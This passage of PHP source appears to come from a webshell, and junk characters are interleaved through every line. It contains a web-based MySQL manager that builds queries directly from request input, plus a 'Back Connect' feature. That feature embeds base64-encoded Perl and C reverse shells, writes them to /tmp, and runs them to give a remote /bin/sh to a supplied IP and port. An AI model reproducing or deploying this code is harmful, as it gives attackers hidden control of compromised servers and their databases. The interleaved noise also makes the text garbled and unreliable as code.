4 V1 Q6 Q6 a. Q - } s5 H0 @, A# m9 ~: m0 \" P
- 3 n& B( c4 a& x: R0 g
- if ($tablename && $doing == 'drop') {0 G2 T0 s( @+ @ w' {; Z
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
6 \& h0 X" W p0 ]2 r - if (q("DROP TABLE $tablename")) {$ v* i5 A! O, F, @0 H
- m('Drop table of success');
4 [) O: i% n4 ~) V1 P$ P! l2 F - $tablename = '';
( e( z) o% l- s3 ?2 P) M5 E; j& b - } else {# z9 `- c% ^& I: _& Z, h" Z
- m(mysql_error()); @1 I; M/ B3 d" t" e( z7 k! ?
- }/ t! a w% g( S1 k+ g' F4 ]9 D
- }
' A- N$ M9 ]* ^2 _! a - # B3 t/ d4 L' _) y
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
5 y1 F0 c( w# E! y$ w - 8 C. ?$ f( l$ ?/ n1 y
- formhead(array('title'=>'MYSQL Manager'));1 t: G! ]. ~& w. k) W
- makehide('action','sqladmin');
" D/ O0 M) z5 X: Q0 ^+ N- h - p('<p>');
9 i/ P& e1 g- I - p('DBHost:');& a0 B) w i3 l( n( d7 w" X* y+ g
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));4 w- _3 ~' X% Y3 l) N
- p(':');
0 y2 `- B5 }5 |5 W6 \ - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));2 q9 G! K4 `* L# E& ^
- p('DBUser:');0 {( t. ~& p- M, v! _1 ?- j2 a. M
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));' m, {1 C- O) f- \6 h. ~, I5 E
- p('DBPass:');/ \% l4 `4 R6 {3 l! Y T
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1 a$ {" r# v( `9 N/ ~; X2 j - p('DBCharset:');9 z3 Y( @$ A ^/ }- r& g; j' A
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));4 E/ }4 m0 f8 y- ?
- makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));7 m0 j f/ a+ X% R
- p('</p>');
) t/ p- _9 J, Z, D, B - formfoot();: T! G$ x; H8 B8 z0 h5 D
- ?>
# e$ d: T; W7 p0 r; \- M2 w - <script type="text/javascript">
$ _$ S: p2 H' s$ u9 p2 Y0 J( A+ G - function editrecord(action, base64, tablename){
8 a9 Y% u1 E2 B' s6 E8 X - if (action == 'del') {
' v/ @7 Q8 J; a" p- m. c( m3 m - if (!confirm('Is or isn\'t deletion record?')) return;
, a' C+ j# m9 _3 g; E: g& \ - }
Y% n) H6 @ A: t - $('recordlist').doing.value=action;3 l0 }* i C8 d0 L8 |6 ?2 Y
- $('recordlist').base64.value=base64;: _3 f2 x8 r" e3 W6 ^1 ^
- $('recordlist').tablename.value=tablename;
5 p8 Y a! f7 ]2 D0 ^ - $('recordlist').submit();
6 C7 c) A& U& D. S* b - }, k8 `3 l: K) C: @1 c! E
- function moddbname(dbname) {# a0 t9 v n5 V" ?8 [
- if(!dbname) return;+ v. z7 c4 l) G* ?2 k9 D9 \" X1 y
- $('setdbname').dbname.value=dbname;. {# P# h9 v8 p$ O0 ^
- $('setdbname').submit();
?4 u, x! S: }! m/ l4 D2 o - }! |1 x4 b' Y/ Q
- function settable(tablename,doing,page) {& n4 }; J( v2 a7 j
- if(!tablename) return;. B& Z2 g% V# H8 x+ f2 r' V* K9 x
- if (doing) {
- Y5 i& `1 y9 \ - $('settable').doing.value=doing;
7 u8 p9 i) F* |; U/ Q - }
1 V7 B- |! L/ C( w( r7 J! O- z - if (page) {( K/ T, T2 o- l) h2 P5 R
- $('settable').page.value=page;" q1 g# P7 W; n
- }- Q1 z" a- a* c8 N' B
- $('settable').tablename.value=tablename;6 N6 O8 r+ D1 Z) W% X+ [
- $('settable').submit();
# s# d+ j B, F! e }0 o - }
2 v( ` ] }) D- N+ L- w; h - </script>
1 G" M8 P$ I0 [* |; p k* ^/ i - <?php1 D$ h d" P- v6 w. c' }, W! M
- //操作记录* U$ ? i7 x) ^. U3 S' ~6 k
- formhead(array('name'=>'recordlist'));) u8 K p7 e7 y; e; D
- makehide('doing');9 v7 B2 Q; a; f
- makehide('action','sqladmin');
9 V7 N: v3 C0 _1 j - makehide('base64');! E# R i D; {' J7 e" R
- makehide('tablename');
) I' y+ l7 ? h! @+ Z - p($dbform);
6 _4 i% f2 @. A6 l o7 D - formfoot();+ m2 x+ U- P, d" t0 P6 D! e8 l6 K' v
- //选定数据库
8 z; A9 Y# A+ r* R8 o( d - formhead(array('name'=>'setdbname'));6 S" B/ U$ J1 K$ H9 x9 u
- makehide('action','sqladmin');4 z; j! M2 B& x5 ^
- p($dbform);- @/ V8 o# c m V! L" [5 v
- if (!$dbname) {
- ^: r! z* r2 ^. D2 g6 ~, G - makehide('dbname');
5 w1 N( d8 S a& J; i - }1 e J' |4 n5 b0 c* z' K8 O
- formfoot();
7 |2 N) g8 j5 n* u, v0 D% S! t# @ - //选定表
- P: Y2 i: a7 G7 x- n/ p1 c) ~, T - formhead(array('name'=>'settable'));, A: T, i1 s0 n8 _
- makehide('action','sqladmin');
& v- { L1 y# b9 R6 I4 i! R - p($dbform);
. P+ l4 M. W, W) e5 }, N) I0 S - makehide('tablename');" [2 l' R4 v3 X( f. S
- makehide('page',$page);
' S2 z& g. j( X0 c9 v, X+ g+ ~* h - makehide('doing');6 a' z9 ^( ]+ z7 X% Y1 N# t3 x
- formfoot();; t8 l5 e8 C# g# e- h
- $cachetables = array();
" \' c- |% x7 O* E9 D7 x - $pagenum = 30;; f0 H7 D+ A. N8 Z* D; T
- $page = intval($page);
' S2 G7 o' F1 x3 u6 J - if($page) {
n+ P4 i; I0 ~1 _+ X8 c - $start_limit = ($page - 1) * $pagenum;
0 V: Z% C! k$ I; d. |' f - } else {8 D5 k4 @: I7 b0 a" [
- $start_limit = 0;+ S' v5 o6 x; J0 {7 d0 l
- $page = 1;+ w3 V4 e5 q4 B
- }7 O2 { I9 Q; p; `' B+ P
- if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
. h9 `) {. o' [- |- G6 |/ c1 n - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);9 t; A9 K; U# {" ^" A) w
- //获取数据库信息
' q( q! R, b- b; L - $mysqlver = mysql_get_server_info();. Z, [4 ]2 ?- O+ @( r3 R0 ^
- p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');# z5 ~1 B6 I4 J4 |9 Z6 ?
- $highver = $mysqlver > '4.1' ? 1 : 0;
0 \5 ]) ?, j7 }. m - //获取数据库& J' Y2 j& H5 v, K
- $query = q("SHOW DATABASES");
9 r# s$ d9 U3 R9 `$ G- R5 w3 b& ^ - $dbs = array();
' q/ v+ o/ X( J7 ]& k - $dbs[] = '-- Select a database --';: Z% Y& s# m9 P3 I4 b% t
- while($db = mysql_fetch_array($query)) {
+ q: l, J3 ?! w+ d8 L - $dbs[$db['Database']] = $db['Database'];
: l! O& F, B. z - }0 O: x# D$ y9 M! E- s6 ~4 `
- makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
% |0 \- l$ G. U" L3 E8 M% m - $tabledb = array();
5 M. W) h- a4 A. b - if ($dbname) {
. U8 B! M: F7 o4 a% F( j3 p" s - p('<p>');7 E% |' E, G8 ~' x6 u/ H* F
- p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');9 X8 L) i& h2 c
- if ($tablename) {
/ x! h9 {$ h- L G; n9 Z - p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');; w7 w* A! r, v: u' b% c% _
- }
, V4 ?$ s" T9 Z1 x) X5 Y( u - p('</p>');- L! D: l2 w1 e
- mysql_select_db($dbname);
0 I! r! S1 B9 r. i2 V; @ - $getnumsql = '';) j# i0 D. n" i$ D* ]4 M
- $runquery = 0;: j; q; S }! ^5 M9 r$ @" P4 ~
- if ($sql_query) {2 c5 l6 N6 g2 e1 S1 S
- $runquery = 1;
9 M8 X: _2 _ O - }
7 M- a' `; J Q% \ - $allowedit = 0;
8 s; h, p7 s9 Y9 w. {; I A7 H - if ($tablename && !$sql_query) {
2 n/ N9 h' L5 y- f8 | - $sql_query = "SELECT * FROM $tablename";" v/ {: K( n+ A7 ?5 H/ L
- $getnumsql = $sql_query;. _, h, w9 D1 H5 t+ p
- $sql_query = $sql_query." LIMIT $start_limit, $pagenum";7 x* g8 Q( X* l* Q3 i- S+ q( r0 d
- $allowedit = 1;$ s. \: [* M+ j
- }
% @6 p. ?' z% k; \' Y9 E - p('<form action="'.$self.'" method="POST">');: ]4 L3 Z' k8 r% c" ^5 R# q/ b
- p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1 k) O2 g5 I/ ?: E \* u% V( U - makehide('tablename', $tablename);. s7 u% ]5 P' G! f: H5 F2 q( t3 k7 v6 V8 c, w
- makehide('action','sqladmin');2 Z4 C( M0 Z( f7 ]
- p($dbform);. H9 V% l# ^' t6 v% a) l0 D
- p('</form>');
) c* B& E! Z" p! K - if ($tablename || ($runquery && $sql_query)) {. i+ u' f( x+ b' p- }( F% R
- if ($doing == 'structure') {
& I! ?$ t$ k2 z - $result = q("SHOW COLUMNS FROM $tablename");
* N5 C5 U5 \) U5 f/ t - $rowdb = array();/ Q' U% |: {& f6 l7 }$ }2 h- H
- while($row = mysql_fetch_array($result)) {
; D, W& w; H0 R" Z - $rowdb[] = $row;5 D! _9 o+ H6 i) h. C
- }3 C6 ]# @* g6 n5 Y5 R4 b1 V* Q
- p('<table border="0" cellpadding="3" cellspacing="0">');" A# q$ s; e+ _5 r/ K; Y! L
- p('<tr class="head">');: W( i. }9 c* I% \- k1 I6 S7 O
- p('<td>Field</td>');+ H+ w. ]) h1 V* b( W
- p('<td>Type</td>');
. S% l6 D& T( ?. h% j; B, ^' j - p('<td>Null</td>');
4 |3 o, U( q. m5 O' e - p('<td>Key</td>');
! |8 l1 o$ |- F% u - p('<td>Default</td>');
+ m5 k& \2 `: p- _ - p('<td>Extra</td>');2 }, \% C& s0 m
- p('</tr>');8 [" K, b1 F, _- ^) O0 [
- foreach ($rowdb as $row) {& K1 z/ C# Z* Y5 ?8 {6 s3 ]: k
- $thisbg = bg();
+ f. q/ m" O0 C& M2 H - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
. \" B( V" _- e" |/ Z - p('<td>'.$row['Field'].'</td>');
8 A/ a0 c: U1 v. k! K# z& ] - p('<td>'.$row['Type'].'</td>');( `; ~5 ` W. J
- p('<td>'.$row['Null'].' </td>');
1 J9 O: W/ u$ }: |. y6 T' b/ L2 D - p('<td>'.$row['Key'].' </td>');" B- v1 N# W$ X! e7 d. V
- p('<td>'.$row['Default'].' </td>');
' ?; i/ Q4 o4 Y9 f- |' A2 g; G - p('<td>'.$row['Extra'].' </td>');
/ i# Q- `2 z. G" v3 t9 _: W - p('</tr>');
7 r3 \( p0 W& i - }
; R5 w( J8 [' ?+ x: T% o - tbfoot();
; @) V* ^8 X4 A$ q7 y& y - } elseif ($doing == 'insert' || $doing == 'edit') {' a1 t( a: O# U0 Q4 u) c, f; v( l: E9 v
- $result = q('SHOW COLUMNS FROM '.$tablename);9 ^3 Q3 e9 D# s* ^
- while ($row = mysql_fetch_array($result)) {
+ V$ `; b. k( t; |$ `5 S - $rowdb[] = $row;
7 f7 w' u. D/ v2 z6 B }, \ - }$ B! t9 \2 Z0 W j2 I& D
- $rs = array();
' O8 v3 m; w1 W. Y - if ($doing == 'insert') {
2 {- }, g5 L# D5 b; v - p('<h2>Insert new line in '.$tablename.' table »</h2>');
. B' h' t7 A: w9 z2 m& p - } else {% Q& v" u1 ]# h+ e- W% M& X
- p('<h2>Update record in '.$tablename.' table »</h2>');
- C" g5 b: p/ x' [& J% \( p - $where = base64_decode($base64);
; Y" E+ _4 Q: D) ?4 _ - $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
0 z" H" r1 y# b/ @ - $rs = mysql_fetch_array($result);
; M- u% v( O& m( u! x( j) p - }
/ J" t, @% H) j0 I* G - p('<form method="post" action="'.$self.'">');
) N, s' K' J7 {7 @ - p($dbform);* c9 E7 u+ O6 f4 Z* d4 U2 H5 I/ M
- makehide('action','sqladmin');& w: k3 ?' k) _5 ]- I
- makehide('tablename',$tablename);! z( M0 ]. G, o7 I; L0 Z/ F
- p('<table border="0" cellpadding="3" cellspacing="0">');
+ }! H# p! q' k7 [; | - foreach ($rowdb as $row) {6 G% M: J3 j; [
- if ($rs[$row['Field']]) {
5 A5 _& @1 Q U7 j. H - $value = htmlspecialchars($rs[$row['Field']]);
% K6 o; }. f% R7 H+ L - } else {
& O5 L9 D! K& q4 f! G - $value = '';* t7 L- b5 o( Q& S: H! ]! Y& g
- }
1 ?7 g2 R- K+ H - $thisbg = bg();
; ]# l: T; O5 i( x: D% |/ [ - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
( r6 x! H1 t \ - p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
2 x, h# q2 M2 G6 D/ z# V# u& S - }
: h* p% I# `0 v1 L$ e - if ($doing == 'insert') {( S" ]0 `. m) h
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
# E$ v. U2 Z& b# W; s3 } - } else {# A# O( f3 ]2 t& ^
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');1 S( A, B ^1 x' |" h$ P
- makehide('base64', $base64);$ H4 x# m0 n( w6 d! b. g. s4 n
- }
# B j" z' @/ Z& }& u - p('</table></form>');
! h% j. [# s H% z. n - } else {
8 x; p& p4 D$ s - $querys = @explode(';',$sql_query);+ q5 a3 C6 m# Z
- foreach($querys as $num=>$query) {
$ }9 z! h; D; o6 [ - if ($query) {
: L: }9 m# Y4 P p$ o. a+ e/ v" c$ d - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");1 }& u" Q, m) o0 }
- switch(qy($query))
6 R$ F3 _ a+ w# ^7 [ j - { i. F s4 I: e. k2 G' ]
- case 0:
9 A9 T2 W0 S' q! `" Q# }, e - p('<h2>Error : '.mysql_error().'</h2>');
1 w' J z9 r8 X* c* C- D6 R - break; 0 S6 \# E; d- C {+ e
- case 1:4 k9 ]+ ]; n& n* V0 b
- if (strtolower(substr($query,0,13)) == 'select * from') {
$ |5 O) f6 h, H3 U - $allowedit = 1;0 k; ~. Q( _$ t) d. U C8 N
- }
0 a: t4 @- w1 P4 Y - if ($getnumsql) {7 U2 O/ G3 M$ ~" u
- $tatol = mysql_num_rows(q($getnumsql));
% u6 A7 y" @0 R/ A! A - $multipage = multi($tatol, $pagenum, $page, $tablename);
* \7 M1 x+ D" y3 \7 K& A/ j4 q - }( g. m* ]' n% z, g' i! h( }
- if (!$tablename) {
1 H9 \8 I7 j0 t1 t J' V9 u! R5 ^ - $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
, t) |% F$ P; o |1 w/ L e - $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
u) r2 O( |6 m, S4 q - preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);! R( N! t% ]. \9 H0 i, H/ l
- $tablename = $matches[1][0];) X- O0 {9 R1 h5 ?* k9 `
- }
2 P9 h4 y% f4 X - $result = q($query);4 n1 ~6 s7 O5 C! X' _: ^+ b
- p($multipage);
$ j! p- ^8 @* t. E! ?: O4 } - p('<table border="0" cellpadding="3" cellspacing="0">');
" `7 r/ n: b* V- W! Z4 C8 L - p('<tr class="head">');2 a- \( U0 F9 f
- if ($allowedit) p('<td>Action</td>');! i; @# g5 i8 k1 c% t B/ J) o
- $fieldnum = @mysql_num_fields($result);
4 B( r6 q( F& ?% x# } - for($i=0;$i<$fieldnum;$i++){1 L+ I- A2 Q" M0 D% j
- $name = @mysql_field_name($result, $i);
; z6 r* i: T( ]. l5 b( _# L0 P* Q - $type = @mysql_field_type($result, $i);
m- Q5 H, c" P. {& H" c* _. K - $len = @mysql_field_len($result, $i);
0 D L; ], h* ^9 H) P7 G - p("<td nowrap>$name<br><span>$type($len)</span></td>");5 J* U; p! E q% w/ Q
- }
1 K9 ` a& J) p1 h - p('</tr>');
* `. V8 [! a& a - while($mn = @mysql_fetch_assoc($result)){
/ p6 m. x) j1 B0 q# m3 Q/ |2 Y- z - $thisbg = bg();
; ^! [# [7 _3 b5 W: x& t+ U - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
6 t% j" I5 J" t - $where = $tmp = $b1 = '';
# v- [0 y4 r0 G( r! Z - foreach($mn as $key=>$inside){" @, o* U0 A- v2 \' f X
- if ($inside) {6 o- u5 U9 J5 z& a# i7 V& t7 O) i
- $where .= $tmp.$key."='".addslashes($inside)."'";, o6 \0 v2 ^( P8 H, G
- $tmp = ' AND ';
% h0 a1 f, h1 f" a# R8 [ - }" ^. i# j* S$ L# Y
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
& g. a+ W6 ~1 j# t% M - }- R! I3 N" c: T
- $where = base64_encode($where);
3 V- m* |: a8 @4 a" u, A% T: g3 w# q - if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');2 P4 ?0 i, X$ [4 ?* {
- p($b1);! ~( ]3 g& `6 \6 \5 O8 m7 n3 N: ^
- p('</tr>');* H- a ?7 q! V7 r) n
- unset($b1);7 `$ W0 `: s- m
- }
! ]" w I. c, z+ m - tbfoot();, ^8 ~. E7 t, I' f/ [+ d
- p($multipage);
( O& |9 i" E+ W4 r5 ?: E4 ~ - break;
- b. g& W3 b1 m% f1 A - case 2:
1 U2 ]* o9 A+ x7 P' `0 l. E X9 z3 B, H2 g - $ar = mysql_affected_rows();
, b( f+ s6 L* g% k1 s7 v7 { - p('<h2>affected rows : <b>'.$ar.'</b></h2>');- J3 E4 ~, Q1 R5 N- i) n
- break;
% B a. o; E+ i% v6 A - }
5 I$ X& D( L' n/ y" U# k - }* Q* V5 o# [6 x; j: R9 H2 i
- }
% U7 e, t8 E( \2 |8 ~: Z - }
9 S( { F* x3 W) T2 V. T) @. ] - } else {' L% p" l4 r* T# j4 y
- $query = q("SHOW TABLE STATUS");
6 b$ F. v8 T/ y! F! E0 T) f9 y8 H - $table_num = $table_rows = $data_size = 0;% @; X" ]6 P2 G1 g. H8 x( {4 f# \
- $tabledb = array();! c( L* X; b, r
- while($table = mysql_fetch_array($query)) {/ \8 D/ S L$ x9 r4 v
- $data_size = $data_size + $table['Data_length'];4 B5 V2 q3 n! K) d$ G, q
- $table_rows = $table_rows + $table['Rows'];& M c$ {3 V: I" E5 R# r
- $table['Data_length'] = sizecount($table['Data_length']);' v# s' g& g% l: b" U
- $table_num++;
1 U g# s1 a! c3 y - $tabledb[] = $table;
* Q- M6 g( x9 S" m4 c. T, _( ? - }
; N( o9 W! ?3 [" H - $data_size = sizecount($data_size);
; w: U) `; W$ B9 Y# x; A" Y" q - unset($table);
# \1 N6 w( H4 s: {1 `9 u% d; o - p('<table border="0" cellpadding="0" cellspacing="0">');8 b/ j+ B: ~+ L1 e4 A7 K
- p('<form action="'.$self.'" method="POST">');+ c( u" g1 u3 M4 `. l/ I
- makehide('action','sqladmin');% |) E8 r/ |3 n/ H6 q- I
- p($dbform);8 d$ Z- R9 C- K% e7 W4 b: F
- p('<tr class="head">');2 Q3 |1 g4 _: S/ C1 T+ t
- p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
! K) R* T4 Y0 N, h - p('<td>Name</td>');
+ ?% i5 q# y1 M& h( l) e4 | - p('<td>Rows</td>');
9 a0 W! [5 d9 Y. ^1 q - p('<td>Data_length</td>');$ K9 T/ ]& h/ O6 z3 i
- p('<td>Create_time</td>');
6 H' D0 r" r/ o& \- z o- |( I" ? - p('<td>Update_time</td>');
% z- e. ~1 u- d }& X+ ~; d - if ($highver) {
- l7 [* @( Z0 M/ Y. X$ y. z - p('<td>Engine</td>');5 j7 i9 t$ i: A- x
- p('<td>Collation</td>');- f) r5 h) i9 h1 P) C6 l
- }9 c) }+ @6 m, [
- p('</tr>');
' V* T& Y; z( C5 }5 \ - foreach ($tabledb as $key => $table) {
! ^3 G D% P$ M - $thisbg = bg();
* H: z1 z5 \ N2 a2 V/ Y - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');. T! A1 ~1 s' a8 ^% ~' F
- p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
' K J# b+ }! D' r; l - p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
8 j, x( N6 j- D! B! i0 B* t0 } - p('<td>'.$table['Rows'].'</td>');
" g, L3 D. W$ V - p('<td>'.$table['Data_length'].'</td>');" p3 V( R; ` c4 ^" K
- p('<td>'.$table['Create_time'].'</td>'); G& n' J! ~( |- f2 ~
- p('<td>'.$table['Update_time'].'</td>');
' h: w x* k' d* k# Z$ V( o4 Q: T- m - if ($highver) {
3 w* h- ~8 ^6 w - p('<td>'.$table['Engine'].'</td>');: _6 w# l: g+ ?
- p('<td>'.$table['Collation'].'</td>');
" H" Y; t& e5 ~6 P' z - }
5 Y: A6 i' m, o2 ~8 J* K - p('</tr>');1 L; o3 W- Y, i3 N' t e
- }
+ ?0 @1 x4 }( A& e k$ Y - p('<tr class='.bg().'>');
# n! A5 t* P. u& w" ~. T1 a4 n - p('<td> </td>');1 {$ g! D; Y3 a+ S0 t [2 U
- p('<td>Total tables: '.$table_num.'</td>');( @, H3 f5 N) `) T) K$ J- }4 e
- p('<td>'.$table_rows.'</td>');' d+ j7 _- x+ r0 g. K. V
- p('<td>'.$data_size.'</td>');% z- P" P: {1 P! a; d. C; j) D
- p('<td colspan="'.($highver ? 4 : 2).'"> </td>');4 y( d0 o; z" L9 j2 R
- p('</tr>');* ?5 t* z2 Y& U7 C5 u5 v
- p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
3 i$ t$ z' Z' r/ B! `5 n9 S - makehide('doing','backupmysql');
" N# R5 o9 j4 z" n- L* R1 O6 H; w* f9 Z - formfoot();6 b$ G+ @0 ]& O' U/ P
- p("</table>");; m7 P$ u& m& @% Q$ T) @/ h
- fr($query);
, }) k; f+ ^9 B* }. r# E) ^# U - }1 ~3 C" w7 Q: b. X! b
- }
" U# B! B6 M' u$ }) w3 { - }' y' u+ v3 @8 L5 {- F
- tbfoot();
1 P( p- d1 z- C+ w' n& i - @mysql_close();0 |- e4 D( V& P" _8 N
- }//end sql backup
$ C. T# ]0 Y$ w) J2 u# d - elseif ($action == 'backconnect') {6 c- U" n3 n: I# j& f* Q: t
- !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];+ k! m4 R2 E' b8 V. _
- !$yourport && $yourport = '12345';, f: j. Y5 l# S/ D; `0 D: y1 e
- $usedb = array('perl'=>'perl','c'=>'c');: M3 o; a0 _* ?/ l. ?& y% A
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
" k7 t% {9 t0 S( A - "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".$ F3 C! g' K% }4 ]' U
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
6 Q3 F" j& \8 } - "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
2 W, w* N+ k) c - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".+ ~+ ]6 m! n! l9 w3 x" a
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
% f* Q+ F; @) n - "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";% C3 |& O4 [7 y' L* {* C
- $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".* s6 d6 k( F" s$ P4 i7 _
- "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".4 u4 W D+ x8 g; C. A* f: A6 B: y5 T
- "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
* p1 ?& t- I9 p P* b. e - "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".8 G9 [& G. ?# n
- "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC"./ S0 D9 ~! n, i* P/ |
- "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".# o3 Z% I2 a0 M8 [" a: w7 Y
- "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".: e1 O( y, l) T' n2 X
- "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";# R+ i( g/ p6 L& z
- if ($start && $yourip && $yourport && $use){! P' W4 F1 w% L" M3 U; t+ q+ u$ ~
- if ($use == 'perl') {
& M- g i8 i5 ^, B) P$ k2 H - cf('/tmp/angel_bc',$back_connect);! t' Q0 W& @& P6 Q- ?8 U
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");" O1 ]6 N* W- ^
- } else {
7 s( D: `) I6 P - cf('/tmp/angel_bc.c',$back_connect_c);
! t$ H4 q1 z3 k. x+ T" F2 { - $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
3 C V6 M+ w9 w: j - @unlink('/tmp/angel_bc.c');
/ F& V9 r2 ?7 N" s& n6 W - $res = execute("/tmp/angel_bc $yourip $yourport &");
- K; ]& @, Y& w* I5 K g - }
) G1 e+ `! b9 _! C3 T( R - m("Now script try connect to $yourip port $yourport ...");
3 W3 P& {) L( [ u. m% D - }2 W8 s' j$ B+ [1 U! x8 t' h
- formhead(array('title'=>'Back Connect'));% K$ ~: d3 l/ h; @
- makehide('action','backconnect');
7 A0 Y0 S" A7 n0 g- p( g - p('<p>');: A5 K$ `! |5 c" h7 O
- p('Your IP:');
